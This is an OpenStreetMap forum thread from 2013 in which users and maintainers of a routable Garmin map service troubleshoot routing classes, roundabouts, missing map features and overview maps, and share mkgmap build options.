- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 03.07.2013 19:53 · [flux]
mapper_07 wrote:
@ popej: how can this be done?
You mean good routing? I don't know a solution but I can suggest a design target.
On Garmin maps routable roads are divided into 5 classes. Class 4 are main roads, which are important for long distance routing. They should create clean and continuous network.
On a generic map of Poland class 4 roads looks like this:
There is no network, only some separate roads. On that kind of map current nuvis and latest BaseCamp won't calculate any longer route.
Next picture is a part of network from Holland:
It is dense enough to get good routing but have some irregularities, which probably could be improved.
Other problem not visible on these pictures is continuity. Any break in network can exclude whole segment form calculations. This probably include links between highways.
I don't think that creating good network could be done automatically. It would need manual work. And probably there won't be general rules, since roads networks in different countries are very different, like the 2 examples above.
- Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 06.07.2013 08:07 · [flux]
in my case i think the network is complete and fully connected. (Because Vienna - Innsbruck; Innsbruck - Verona are working but not directly Vienna - Verona) As i have seen in the style file motorway links are currently class 3. So maybe they should also have road class 4? Also maybe add primary roads to class 4 to get a main network.
For my feeling also the routing currently is not always preferring highways and routes instead on primary roads because they are shorter. (For example Vienna where the nuevi mostly routes on the primary roads instead of going the longer, but faster way on the motorway. Is there the maxspeed and the number of traffic lights included in penalizing these roads on the link weight? Average speed on motorway is 80kmh where on a typically inner city primary road with intersections and traffic lights it is 35kmh. - Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 06.07.2013 11:32 · [flux]
There are many problems to consider.
First is that Mapsource calculates differently then current version of BaseCamp. Older nuvis calculate different then current models. You can get route on one device and failure on other.
Short distances are calculated differently then long distances.
Network could be complete but too complicated to calculate long route. Network with long roads is easier to calculate than the same network divided into more short roads.
Speed is included in calculations, probably crossroads and turns too. I don't think traffic lights are included but you can decrease speed of road with lights.
You can experiment with motorway_link. I think class 4 could help.
- Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 08.07.2013 16:37 · [flux]
no change with class 4 for motorway links. i also tried additionally to increase primary roads to class 4 to get an austrian wide network but he fails calculating the route every time for routes for ex from vienna to bregenz, or vienna to innsbruck (without having the motorway over rosenheim in the map such that he can route over the "große deutsche eck") maybe i have a problem with the style file because when i removed the line concerning tracks, tracks are again visible and routeable in the map, normal behavior?
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 08.07.2013 18:08 · [flux]
What program or device are you using? I think Mapsource should be able to calculate your routes but latest BaseCamp has a bad routing, not suitable for OSM at all.
I'm experimenting with routing network in Poland. I have set class 4 for following roads:
motorway and motorway_link
trunk, trunk_link
primary and primary_link with valid int_ref
primary and primary_link for selected national roads
roundabouts with above road typesWith these settings I can get working routing across whole country. I think that other countries could have other requirements, depending on their roads network, since too many roads with class 4 is a wrong solution too.
- Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 10.07.2013 08:19 · [flux]
I use a nüvi 205 and 1390. Currently i'm not able to include my maps into MapSource ... I think my mkgmap run didn't include my changes made to lines.
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 11.07.2013 16:17 · [flux]
See how looks class 4 in Europe, won't be easy to make it usable.
- Re: Worldwide routable Garmin maps: URL REMOVED · extremecarver (Gast) · 13.07.2013 08:33 · [flux]
Well, what about putting class 4 either for highway=motorway plus motoway_link, plus trunk and trunk_link - and then additionall all streets with an E-Number. I think E-number relations are quite complete in OSM, aren't they?
Plus for GB add the Eurotunnel and the ferry as class 4 routeable. - Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 13.07.2013 10:40 · [flux]
Good idea! I played around with class 4 for motorway_link and trunk_link and got a better routing in austria on my nüvi 205
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 13.07.2013 11:46 · [flux]
International primary roads should be include, especially for East Europe. They are red on this picture.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.07.2013 09:18 · [flux]
Notice: The weekly update is delayed a few days because of broken daily diffs.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.07.2013 11:56 · [flux]
Lambertus wrote:
Notice: The weekly update is delayed a few days because of broken daily diffs.
Hi Lambertus,
Can you have a look at the overview map, it is still not included in the maps (overview maps are empty).
I think the ovm_*.img's are not processed during the 2nd step of your map generation and deleted after the 1st mkgmap step? - Re: Worldwide routable Garmin maps: URL REMOVED · tanguero (Gast) · 16.07.2013 18:47 · [flux]
Hello: Plz tell me how can I download a 2nd map to use it with Mapsource,
because when I tried, the .exe file of the 2nd map erased the 1st one 🙁
I want to download Italy and France files for Mapsource
Thxs in advance 😉 - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.07.2013 20:56 · [flux]
@tanguero
You need the Javawa GMTK tool, see http://forum.openstreetmap.org/viewtopic.php?id=15431 - Re: Worldwide routable Garmin maps: URL REMOVED · Jan Neele (Gast) · 17.07.2013 18:23 · [flux]
After installing the map of the Netherlands on my Garmin Dakota successfully, i tried to install Italy and France as well. But the Dakota does not see these new maps. Basecamp on the other hand does sees these maps?
Is this a know problem? and how to solve this?
Jan Neele - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.07.2013 09:04 · [flux]
Those maps have the same Family ID so the Dakota sees them as one. Only problem are the overlapping map tiles from Italy and France.
You have to select a custom Italy/France map on the website to solve this problem. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.07.2013 20:11 · [flux]
ligfietser wrote:
Can you have a look at the overview map, it is still not included in the maps (overview maps are empty).
I think the ovm_*.img's are not processed during the 2nd step of your map generation and deleted after the 1st mkgmap step?I just had a look at this and dicovered a bug in the scripts. In addition to the *.img files I now also added the ovm_*.img files to the commandline of Mkgmap when the gmapsupp.img is and NSIS installer script are created. I requested Albania but don't know how to determine if the overview map is created (it doesn't seem to be the case) I'd like someone who knows more about the overview map to check this please...
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 18.07.2013 20:27 · [flux]
I have downloaded Mac version. Overview map is correct, it has multiple layers. Last one is empty, maybe you should move national borders and capital cities up to resolution 12.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.07.2013 20:37 · [flux]
Great, thanks popej, then every newly requested country map for the generic_new and openfietsmap_lite map should come with functional overview now. I'm not really sure about the generic map.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.07.2013 22:12 · [flux]
Lambertus wrote:
Great, thanks popej, then every newly requested country map for the generic_new and openfietsmap_lite map should come with functional overview now. I'm not really sure about the generic map.
The generic is still empty, the generic new looks ok (I agree it needs some fine tuning).
In the generic option style file there should be these two lines, thats all mkgmap needs to knowlevels = 0:24, 1:22, 2:20, 3:18
overview-levels = 4:17, 5:16, 6:15, 7:14, 8:12Is it possible to add the ovm_*.img files to the osm_generic_tiles.zip file? This makes it possible to create an overview map when combining several mapsets with the osm_combi tool (there is now an improved version by javawa: http://www.javawa.nl/osmcombiner_en.html). If those ovm_*.img files are not present, the overview map will be empty (which is after zoom level 3 / resolution 18)
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.07.2013 13:40 · [flux]
ligfietser wrote:
The generic is still empty, the generic new looks ok (I agree it needs some fine tuning).
Thanks!
In the generic option style file there should be these two lines, thats all mkgmap needs to know
levels = 0:24, 1:22, 2:20, 3:18
overview-levels = 4:17, 5:16, 6:15, 7:14, 8:12Hmmm. These are already in the generic option file. I wonder if the style files are included properly...
Is it possible to add the ovm_*.img files to the osm_generic_tiles.zip file?
Yes, that's possible. I'll add these.
- Re: Worldwide routable Garmin maps: URL REMOVED · harenber (Gast) · 21.07.2013 10:15 · [flux]
Dear all,
we're gonna have a power outage in the computing center hosting the custom server the weekend
Friday, September 20th around noon until Monday morning, September 23rd.
Some large power transformers need to be maintained which (obviously) cannot be done while the center is powered.
Cheers
Torsten
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.07.2013 12:25 · [flux]
Thanks for the heads-up Torsten. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Basstoelpel (Gast) · 31.07.2013 17:34 · [flux]
Hi everyone,
Im in the UK at the moment using the http://garmin.openstreetmap.nl map in Generic routable style (IIRC) on a GPSmap60CSx. The car routing seems to be ok, but the directions it gives are wrong. It mis-counts the roundabout exits: it asks me to exit the roundabout at the first exit when I have to use the second one. Does anyone else see the same effect?
edit: it seems that these roundabouts were segmented in multiple parts. For the GPS it was probably logical: leave the roundabout at the first exit of this segment...
Baßtölpel
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 01.08.2013 11:50 · [flux]
Does this happen at all roundabouts or only some? If the latter, please give some coordinates.
Segmented: in OSM or in the Garmin img file? If the latter, that is a Garmin requirement: you can't have a road loop back on itself.
- Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 04.08.2013 15:03 · [flux]
there seems to be problems on some roundabouts: (tested on nüvi 205 map generic new beginning of july mkgmap-r2653)
these two aren't recognized as roundabouts for example: http://www.openstreetmap.org/browse/way/24674008 and http://www.openstreetmap.org/browse/way/27364665
where that one the counting is wrong: http://www.openstreetmap.org/browse/way/14986396
coming from http://www.openstreetmap.org/browse/way/27683354 to http://www.openstreetmap.org/browse/way/41532468 he say's it's the second exit (is the first)
at that roundabout counting is also wrong: http://www.openstreetmap.org/browse/way/14986398 comming from west to east counted as 1st exit (is second)
this one isn't recognized at all! eather as right turn or roundabout: http://www.openstreetmap.org/browse/way/14986387
this again isn't recognized as roundabout http://www.openstreetmap.org/browse/way/43791952 (says keep right)this roundabout is only counted (wrong) from east to north http://www.openstreetmap.org/browse/way/29293978. from east to north it says keep right
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 09.08.2013 03:32 · [flux]
Sorry to report: the latest Thailand set (new style) in the South shows more tile boundaries on the selection screen than there actually are. E.g. there is a small rectangle around Kuala Lumpur, but this is actually part of a much larger tile.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.08.2013 11:04 · [flux]
I can't reproduce that problem. In the old generic map there is indeed a small rectangle around Kuala Lumpur, but when I select the new generic map there is no small rectangle, only the big tile that covers almost all of Malaysia... maybe it helps when you force a refresh (ctrl-F5) or empty your browser cache?
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 09.08.2013 11:12 · [flux]
It's not doing it for me any more, either. Perhaps it happens if I change the map style before the page has completely loaded? In any case, it looks all good now and in any case, the downloaded map is good.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 12.08.2013 04:34 · [flux]
Quick question. Any reason why some of the landscape features from OSM aren't included in these Garmin compatible maps? An example being Frenchmans Cap, a peak in Tasmania, Australia <http://osm.org/go/uC~eDi9n?m=> along with other hiking essential land features? Would be good if they could. Thanks. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.08.2013 08:25 · [flux]
Frenchmans Cap is tagged as natural=peak, so it should appear on the map. Try zooming in closer because it is only rendered at the highest zoomlevels.
Of course you could question if this (and other elements) shouldnt be rendered earlier but this is very region/purpose specific.
See also this topic http://forum.openstreetmap.org/viewtopic.php?id=21779 and maybe contact Brett (Ent) who is working on a better Tasmanian hiking OSM Garmin map. - Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 12.08.2013 09:04 · [flux]
Thanks Ligfietser. Yes, I understand that Brett (Ent) is working on a dedicated TAS hiking Garmin map, but I use a generic download from the site to cover a larger area than just Tasmania. That aside, what's interesting is, Frenchmans Cap is definitely not showing in BaseCamp on the Mac, even at max magnification. Frenchmans Cap Track is showing but no peak. What's interesting is, the various peaks around the Overland Track are showing normally, but very few peaks outside of that area eg. Mount King William III and Algonkian Mountain peaks are showing, but not the rest. Given the geology of Tasmania, it's as if the map generation engine only selected certain peaks from the OSM database for display and somehow a large chunk of SW Tasmania (south of Lyall Hwy) got abbreviated. BTW, no peak either on the map as read on a Garmin Oregon 650 with latest firmware (2.90).
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.08.2013 09:46 · [flux]
Thats odd, if I look at http://osm.pleiades.uni-wuppertal.de/ga … 240691.img with gpsmapedit, I can see the poi.
Maybe it is covered somehow with another feature (a routing node), it appears as blue dot while other peaks have another symbol.
So maybe it's a mkgmap problem, have to investigate it further. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.08.2013 10:46 · [flux]
I've downloaded the map (without typ file), it should be visible in Basecamp from 3km zoom at the highest detail level:
without typ file
with typ file
Did you use generic map with or without mapnik typ file or the new generic styles map?
- Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 12.08.2013 10:51 · [flux]
Thanks again Ligfietser! I have further looked around on my copy of OSM download from 21 Jul 2013 (in New format - Mac OS X). Again, the various peaks I checked in the state of New South Wales are all properly displayed, but not so to a large area of S/W Tasmania. Hope this information helps with your investigation.
- Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 12.08.2013 10:57 · [flux]
ligfietser wrote:
I've downloaded the map (without typ file), it should be visible in Basecamp from 3km zoom at the highest detail level:
Did you use generic map with or without mapnik typ file or the new generic styles map?I downloaded the new generic style, without typ file. At maximum maginfication, max detail, ticks on Labels and Overlays in BaseCamp, no Frenchmans Cap nor surrounding peaks nor lakes, just the track on display.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.08.2013 11:07 · [flux]
The new generic style has a built in typ file. I've requested a new download but it takes some time before those maps are generated.
Edit: please try this link, I can see the peaks, lakes and track road. So maybe your version was somehow incomplete, see one page back:
Lambertus wrote:
Notice: The weekly update is delayed a few days because of broken daily diffs.
- Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 13.08.2013 04:36 · [flux]
ligfietser wrote:
The new generic style has a built in typ file. I've requested a new download but it takes some time before those maps are generated.
Edit: please try this link, I can see the peaks, lakes and track road. So maybe your version was somehow incomplete, see one page back:
Thank you again! Just loaded this version and those mountain peaks showed up normally. Looks like I'll just need to re-download and update my map.
- Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 14.08.2013 12:35 · [flux]
Ligfietser: I've now built and downloaded a new set in new style. All the mountain peaks are now in. But a further issue noted. Any reason why Iron Cove (S33.86169 E151.15547) and the next bay to its West are not coloured blue as for the rest of Sydney Harbour? A bug? I don't see the same problem in the old style download.
- Re: Worldwide routable Garmin maps: URL REMOVED · Vclaw (Gast) · 14.08.2013 14:08 · [flux]
For bays in Sydney not showing, see this thread: http://forum.openstreetmap.org/viewtopic.php?id=22143
Its a problem with the tagging/mapping. - Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 15.08.2013 03:24 · [flux]
Thanks. But doesn't really say how to fix it.
- Re: Worldwide routable Garmin maps: URL REMOVED · DaveWaterworth (Gast) · 15.08.2013 04:50 · [flux]
That's not been resolved yet, I just noticed and reported a few days ago. I'm happy to make edits to fix, but I've not got a lot of OSM experience so I don't want to make big changes without a consensus from more experienced mappers.
- Re: Worldwide routable Garmin maps: URL REMOVED · Learloj (Gast) · 15.08.2013 07:58 · [flux]
Thanks for this great service! I am currently trying this out for the first time, but it already looks very promising :-)
I did run into the issue where a mail server with sender verification will block the e-mail from this service, due to the sender address not accepting e-mail. The e-mail envelop sender is 'www-data@osm2.pleiades.uni-wuppertal.de', As there is no MX address for osm2.pleiades.uni-wuppertal.de, it will connect to the A address (132.195.124.248) to try and deliver e-mail, but this IP address doesn't respond to connections from port 25.
This can be solved by either making sure that the server does accept e-mail for the specific address, or altering the source address to some existing e-mail address (could very well be a no-reply@ address which does get accepted, but redirected to /dev/null).
For me, I solved this by switching to an e-mail account that does no sender verification (gmail), but as this could also be an issue for future users, I figured I'd report it :-)
Keep up the good work!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.08.2013 08:56 · [flux]
Ciprol wrote:
Ligfietser: I've now built and downloaded a new set in new style. All the mountain peaks are now in. But a further issue noted. Any reason why Iron Cove (S33.86169 E151.15547) and the next bay to its West are not coloured blue as for the rest of Sydney Harbour? A bug? I don't see the same problem in the old style download.
natural=bay wasn't covered in the new styles. Normally it should be rendered blue if a natural=coastline is present, otherwise it was empty.
I added natural=bay to the new styles as well as the openfietsmap style, thanks for reporting! - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.08.2013 10:14 · [flux]
Learloj wrote:
Thanks for this great service! I am currently trying this out for the first time, but it already looks very promising :-)
I did run into the issue where a mail server with sender verification will block the e-mail from this service, due to the sender address not accepting e-mail. The e-mail envelop sender is 'www-data@osm2.pleiades.uni-wuppertal.de', As there is no MX address for osm2.pleiades.uni-wuppertal.de, it will connect to the A address (132.195.124.248) to try and deliver e-mail, but this IP address doesn't respond to connections from port 25.
This can be solved by either making sure that the server does accept e-mail for the specific address, or altering the source address to some existing e-mail address (could very well be a no-reply@ address which does get accepted, but redirected to /dev/null).
For me, I solved this by switching to an e-mail account that does no sender verification (gmail), but as this could also be an issue for future users, I figured I'd report it :-)
Keep up the good work!
Thanks for this report, my current 'solution' to the email verification problem is described here. We need to change the email server/handling in the near future and your comment will be considered.
- Re: Worldwide routable Garmin maps: URL REMOVED · mapper_07 (Gast) · 20.08.2013 07:07 · [flux]
Hi!
I think i have found the cause why many adresses in Austria are not found. I can reproduce that each street which has an sharp s "ß" in the name (this is the case for nearly every second street because of "xxxx Straße" in the name).
The street itself is found with converted the "ß" to "ss" which is correct, but then no housenumbers are found any more. (tested with the latest new style) - Re: Worldwide routable Garmin maps: URL REMOVED · dpawlyk (Gast) · 20.08.2013 21:07 · [flux]
This is a great service! What I did for a recent group trip is created a map file and then distributed it to the group members.
What I am interested in being able to do is generate data/files/whatever that are useable in other programs. Like smartphone apps such as "Galileo Offline Maps" http://galileo-app.com/).
This app uses .sqlitedb/.mbtiles format.
Is there an way to convert data provided by your service into this format?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.08.2013 11:00 · [flux]
dpawlyk wrote:
This is a great service! What I did for a recent group trip is created a map file and then distributed it to the group members.
What I am interested in being able to do is generate data/files/whatever that are useable in other programs. Like smartphone apps such as "Galileo Offline Maps" http://galileo-app.com/).
This app uses .sqlitedb/.mbtiles format.
Is there an way to convert data provided by your service into this format?
I don't think so, and I think you should use the OSM XML exports directly instead of a Garmin files as intermediate step if you know how to create the proper inserts/updates for the SQLlite DB and mbttiles.
- Re: Worldwide routable Garmin maps: URL REMOVED · dpawlyk (Gast) · 26.08.2013 14:40 · [flux]
The routing (on the Garmin Edge 800) turns out to problematic where I live (northern New Jersey, USA) mostly due to how local roads are classified in OSM.
The routing puts me on a major road (typed as "highway=secondary") largely unsuitable for bicycle riding that is typed as "highway=primary" and avoids less major roads people regularly ride on.
The "bad" road typed as "highway=secondary" roads is mistyped in my opinion.
The problem is that the routing either avoids "highway=primary" roads (suitable for bicycling) or also includes "highway=trunk" and "highway=motorway" roads (unsuitable for bicycling).
That is, in my location, "highway=primary" roads need to be included in "lower class" roads (with "highway=secondary".
Another problem is that the Garmin Edge 800 sometimes stalls with "Route calculation error" when computing the route using the "bicycle routing" maps when the routing works for the "generic routing" maps. I'm guessing that the reason is because avoiding the "highway=primary" routes (in my location) cause the route not to be computable.
I have an idea that this problem depends on where (the country) the routing is being done and the differences in how people type/classify roads. The problem is also related to the fact that the Garmin Edge 800 (and, presumably, other devices) don't provide enough control over the routing parameters.
I'm guessing that the maps provided "http://garmin.openstreetmap.nl/" convert the OSM tags to Garmin tags in such a way as to coerce "reasonable" routing. It's possible that tags other than "highway=*" are use to figure-out what Garmin tags should be used.
Interestingly, using the Goolge Maps routing for bicycles produces fairly reasonable routes as does the routing performed by the Apple iOS app "Pocket Earth", which uses "cloudmade.com" as the routing engine/provider.
- Re: Worldwide routable Garmin maps: URL REMOVED · Alienx (Gast) · 29.08.2013 11:45 · [flux]
Hello ,
There are two map types available for download at garmin.openstreetmap.nl.
For many months now I have moved to the new style.
However I am realizing sometimes garmin routing refuses to use the much shorter unclassified road and instead takes
the very longer tertiary road. (osrm does the right thing)My queries are
1. Whats the difference between the two map types?
2. Is there anywhere I can get the current two style-files used for the different types?Thanks for the great work.
Carl
- Re: Worldwide routable Garmin maps: URL REMOVED · chris66 (Gast) · 30.08.2013 10:27 · [flux]
Hi,
refuses to use the much shorter unclassified road
Can you post a position link so that we could check if there is a data error in OSM.
Last time I had this kind of error (OSRM was able to route, but Garmin was not), was caused by a little Z-shape in the road.
Chris
- Re: Worldwide routable Garmin maps: URL REMOVED · Alienx (Gast) · 30.08.2013 16:13 · [flux]
On http://map.project-osrm.org/ routing works fine
routing from mpabana road to bombo road as on http://www.openstreetmap.org/#map=18/0.32269/32.57284
does not work with nuvi 2515 unless i just step onto that unclassified , then it realises ....thanks.
-Carl -
- Re: Worldwide routable Garmin maps: URL REMOVED · Alienx (Gast) · 31.08.2013 18:44 · [flux]
Even generic routable using new style ?
- Re: Worldwide routable Garmin maps: URL REMOVED · opasto (Gast) · 01.09.2013 09:10 · [flux]
In the swiss community, see
http://forum.openstreetmap.org/viewtopic.php?id=22383
I started a discussion on the use of paths with the tag sac_scale=difficult_alpine_hiking. To my opinion the use of such a path by "normal" people without "Mature alpine experience" and without "Familiarity with the handling of technical alpine equipment" could bring them into danger of life.
Now I found, that such paths in Lambertus maps are also handled like normal paths. My proposal: Let such paths away in the maps or show them with another layout. - Re: Worldwide routable Garmin maps: URL REMOVED · kbroderick (Gast) · 06.09.2013 14:32 · [flux]
I'm having trouble with routing in Basecamp after downloading a chunk of the 20130829 map. For example, between N44 20.444 W72 38.644 and N44 20.454 W72 38.669 on South Bear Swamp Road in Middlesex, VT, USA, Basecamp acts like the road is non-contiguous and attempting to route from the south to the north results in a U-turn, heading back south, and then looping in from the north. I don't see a break in the data via openstreetmap.org. I'm having similar issues on Bushey Road between N44 20.477 W72 37.735 and N44 20.355 W72 37.793 (OSM link) as well as on Molly Supple Hill Rd (just east of Bushey Rd) and French Rd (which intersects Molly Supple).
Is this a glitch in the OSM -> Garmin map generation process or is it a Basecamp error?
- Re: Worldwide routable Garmin maps: URL REMOVED · kbroderick (Gast) · 15.09.2013 02:20 · [flux]
Another issue: when using Basecamp with either the Motorcycling or Dirt Biking activity preference, I'm getting routed onto hiking trails that are coded in the OSM data as footways. For example, routing from Carse Rd, Huntington, VT to East Rd, Waitsfield, VT should involve going out Main Rd. to VT-17; instead, I'm Basecamp suggests that I continue on Carse Rd., continue on the Beane Trail (a footway), turn onto the Long Trail (footway) and then to VT-17. I'm sure it would be an interesting motorcycle ride, but it seems ill-advised. My motorcycling profile has the "narrow trails" avoidance set; my dirt-biking profile does not. Also interesting is that with the ATV profile or the bicycle profile, I get routed the correct way, as I do with the automotive profile. The hiking profile also sends me up the hiking trail, which would seem to be the correct behavior.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.09.2013 09:36 · [flux]
Unfortunately it is a known issue that the routing in Basecamp (as well as the latest GPS units) is not quite compatible with OSM / mkgmap generated maps anymore. You have to play with other settings like avoid carpool lanes (by default turned on in the bicycle mode) or other vehicle modes to make it work. AFAIK "Narrow trails avoidance" does not work with OSM / mkgmap generated maps.
There could be routing problems when crossing map tile borders and having interstate highways avoidance selected. Those tile borders are hardly visible in Basecamp (small line accross the road) but are visible in Mapsource.
I havent followed the latest mkgmap developments so I'm not sure if this issue have been tackled?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.09.2013 09:50 · [flux]
opasto wrote:
In the swiss community, see
http://forum.openstreetmap.org/viewtopic.php?id=22383
I started a discussion on the use of paths with the tag sac_scale=difficult_alpine_hiking. To my opinion the use of such a path by "normal" people without "Mature alpine experience" and without "Familiarity with the handling of technical alpine equipment" could bring them into danger of life.
Now I found, that such paths in Lambertus maps are also handled like normal paths. My proposal: Let such paths away in the maps or show them with another layout.I would say when someone wants to do Alpine hiking better use more specialized maps.
Rendering it with another layout would be an option but unfortunately Garmin's default trail symbols are very limited without a typ file. - Re: Worldwide routable Garmin maps: URL REMOVED · harenber (Gast) · 20.09.2013 09:42 · [flux]
Just a reminder that due to works on the power lines, the custom map server will be offline from today until Monday.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 20.09.2013 17:13 · [flux]
harenber wrote:
Just a reminder that due to works on the power lines, the custom map server will be offline from today until Monday.
Thanks for the reminder!
- Re: Worldwide routable Garmin maps: URL REMOVED · opasto (Gast) · 20.09.2013 18:52 · [flux]
ligfietser wrote:
opasto wrote:
In the swiss community, see
http://forum.openstreetmap.org/viewtopic.php?id=22383
I started a discussion on the use of paths with the tag sac_scale=difficult_alpine_hiking. To my opinion the use of such a path by "normal" people without "Mature alpine experience" and without "Familiarity with the handling of technical alpine equipment" could bring them into danger of life.
Now I found, that such paths in Lambertus maps are also handled like normal paths. My proposal: Let such paths away in the maps or show them with another layout.I would say when someone wants to do Alpine hiking better use more specialized maps.
Rendering it with another layout would be an option but unfortunately Garmin's default trail symbols are very limited without a typ file.I agree with this. But nevertheless there are people in the alps who are very careless.
The basic problem is: What is a highway?? If you look to this picture
http://wiki.openstreetmap.org/w/images/ … ALE_T6.jpg
is this a highway?? It is from the definition page of sac_scale=difficult_alpine_hiking.A solution could be to tag such a way not with ( highway=path & sac_scale=difficult_alpine_highway) but only with sac_scale=difficult_alpine_highway ,that means: delete the key highway=path. But this is in contradiction to the definition page of sac_scale, which states that sac_scale goes together with highway=path or highway=footway. To my opinion, there should be defined, that sac_scale=difficult_alpine_hiking is no highway and should be used only without the highway tag.
- Re: Worldwide routable Garmin maps: URL REMOVED · PeeWee32 (Gast) · 20.09.2013 19:57 · [flux]
I understand what Opasto is saying. I suggest rendering/routing this type of highways on garmin.openstreetmap.nl in a different style/way and if this is not possible just skip these in the map by changing scripts. Nobody wants the occasional hiker to enter these kind of paths just because he/she was unaware of the difficulty of the path. I'm glad I live in the Netherlands which is as flat as a pancake 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · g0ldfish (Gast) · 02.10.2013 10:24 · [flux]
I am trying to install a map (Generic Routable) with mapnik style. The typ file is included, but seems to be ignored: All features show up in Garmin default style, e.g. forest as red horizontal hachures.
I have also investigated the family IDs, but don't see any obvious problem there. The typ file is named 2000.typ, has id 2000 according to http://ati.land.cz/gps/typdecomp/editor.cgi, and the corresponding key ID in the windows registry reads d0 07 which seems to be matching, too. Does the mapnik style work for everyone else?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 02.10.2013 10:58 · [flux]
It should work, perhaps you can try to empty the cache (ctrl-G 2x)?
- Re: Worldwide routable Garmin maps: URL REMOVED · g0ldfish (Gast) · 02.10.2013 12:42 · [flux]
ligfietser wrote:
It should work, perhaps you can try to empty the cache (ctrl-G 2x)?
Funny enough (as it was a very fresh installation I would not have suspected to cache anything yet), that did the trick. Thank you ligfietser!
- Re: Worldwide routable Garmin maps: URL REMOVED · muralito (Gast) · 15.10.2013 19:00 · [flux]
¿The scripts or mkgmap options and styles used to build the Lambertus are public?
I'm triyng to investigate why i'm seeing different routing and routing indications behaviour between Lambertus's map and others. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.10.2013 08:48 · [flux]
Here you can find the styles:
Generic Routable =default mkgmap style
Generic Routable (testing new style)Maybe Lambertus can post the mkgmap parameters, or you can search earlier in this topic.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.10.2013 08:48 · [flux]
The scripts aren't public. Not because I don't want to share them but because the scripts are very specific for the setup of servers I'm working with and I don't have the time to provide support for anyone who wants to get the scripts working. I'll be more then happy to supply the scripts to anyone seriously interested though, just send me an email.
The styles are public:
Generic normal & Generic with Mapnik style: standard Mkgmap styles
Generic new & OpenFietsMap Lite: http://forum.openstreetmap.org/viewtopic.php?id=13257I should provide easy access to the Mkgmap options but haven't done that yet. I copied them below:
Tile rendering step for the Generic map:
$name␣=␣"generic"; $description␣=␣"OSM␣Generic␣Routable"; $family_id␣=␣"2000"; $product_id␣=␣"6"; $mapid␣=␣63240000;
--family-id=$family_id"; --product-id=$product_id --draw-priority=20 --description='$description' --series-name='$description' --style-file='$style_dir' --style='$style' --bounds='$bounds' --reduce-point-density=4 --reduce-point-density-polygon=8 --precomp-sea='/home/lambertus/garmin/utils/sea.zip' --show-profiles=1 --add-pois-to-lines --index --location-autofill=bounds,is_in,nearest --latin1 --ignore-maxspeeds --remove-short-arcs --min-size-polygon=10 --merge-lines --add-pois-to-areas --preserve-element-order --process-destination --process-exits --route --name-tag-list=name:en,int_name,name:zh_py,name:engels,name
Map building step:
$description␣=␣"OSM␣generic␣routable"; $underscored␣=␣'osm_generic'; $family_id␣=␣2000; $product_id␣=␣6; $overview_name␣=␣"63240000"; $copyright␣=␣"'Map␣data␣©␣openstreetmap.org␣and␣contributors'";
=␣"java␣-Xmx6144M␣-jar␣$utils_dir/mkgmap/mkgmap.jar"; --index --overview-mapname=$overview_name --overview-mapnumber=$overview_name --family-name='$description' --family-id=$family_id --series-name='$description' --latin1 --description='$description' --product-id=$product_id --tdbfile --nsis --copyright-message=$copyright --gmapsupp␣63*.img␣ovm_63*.img
- Re: Worldwide routable Garmin maps: URL REMOVED · muralito (Gast) · 16.10.2013 18:00 · [flux]
Thanks. The mkgpamp options is all i need to start.
I let you know if i need other details like mkgmap revision number. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.10.2013 20:17 · [flux]
You can find the mkgmap revision number in the license.txt file (in the download link) or in Mapsource under the copyright notes (ctrl-U)
